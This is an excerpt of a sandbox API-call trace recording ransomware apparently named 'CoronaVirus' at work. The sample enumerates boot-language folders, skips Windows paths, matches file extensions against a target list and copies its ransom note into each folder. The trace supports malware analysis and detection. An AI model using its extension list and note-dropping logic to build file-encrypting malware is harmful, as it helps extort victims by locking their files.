	[0083.157] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.157] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.157] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.157] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.157] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.157] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.158] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.158] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.158] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.158] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.158] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.158] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.158] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.158] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.158] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.158] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.158] FindClose (in: hFindFile=0x600d10 | out: hFindFile=0x600d10) returned 1
	[0083.166] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0083.166] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0083.166] wcsncmp (_String1="es", _String2="..", _MaxCount=0x2) returned 55
	[0083.166] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\es-ES") returned 13
	[0083.166] wcsncmp (_String1="C:\\Boot\\e", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.166] wcsstr (_Str="C:\\Boot\\es-ES", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.166] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\es-ES\\CoronaVirus.txt" (normalized: "c:\\boot\\es-es\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.170] _alloca_probe () returned 0x4036d0
	[0083.170] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\es-ES", lpFilePart=0x316583c*="es-ES") returned 0xd
	[0083.170] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeaef303c, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6007d0
	[0083.170] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.170] FindNextFileW (in: hFindFile=0x6007d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeaef303c, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.170] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.170] FindNextFileW (in: hFindFile=0x6007d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.170] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.170] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.170] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.170] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.170] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.171] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.171] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.172] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.172] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.173] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.173] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.173] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.173] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.173] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.173] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.173] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.173] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.173] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.173] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.173] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.173] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.173] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.173] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.173] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.173] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.173] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.173] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.173] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.173] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.173] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.173] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.173] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.173] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.173] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.173] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.173] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.173] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.173] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.173] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.173] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.173] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.173] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.173] FindNextFileW (in: hFindFile=0x6007d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaef303c, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeaef303c, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.173] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.173] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.174] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.174] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.174] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.174] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.174] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.174] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.174] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.174] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.174] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.174] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.174] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.174] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.174] malloc (_Size=0x1000) returned 0x2f335a0
	[0083.174] _swprintf (in: param_1=0x2f335a0, param_2="%s\\%s" | out: param_1="C:\\Boot\\es-ES\\CoronaVirus.txt") returned 29
	[0083.174] wcsstr (_Str="C:\\Boot\\es-ES\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.174] FindNextFileW (in: hFindFile=0x6007d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.174] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.174] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.174] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.174] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.174] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.174] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.174] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.174] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.174] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.174] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.174] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.174] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.174] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.174] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.174] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.174] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.174] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.174] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.174] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.175] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.175] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.176] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.176] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.177] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.177] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.177] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.177] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.177] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.177] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.177] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.177] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.177] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.177] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.177] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.177] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.177] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.177] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.177] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.177] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.177] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.177] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.177] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.177] FindNextFileW (in: hFindFile=0x6007d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.177] FindClose (in: hFindFile=0x6007d0 | out: hFindFile=0x6007d0) returned 1
	[0083.177] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0083.177] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0083.177] wcsncmp (_String1="es", _String2="..", _MaxCount=0x2) returned 55
	[0083.177] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\es-MX") returned 13
	[0083.177] wcsncmp (_String1="C:\\Boot\\e", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.177] wcsstr (_Str="C:\\Boot\\es-MX", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.177] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\es-MX\\CoronaVirus.txt" (normalized: "c:\\boot\\es-mx\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.181] _alloca_probe () returned 0x4036d0
	[0083.181] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-MX", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\es-MX", lpFilePart=0x316583c*="es-MX") returned 0xd
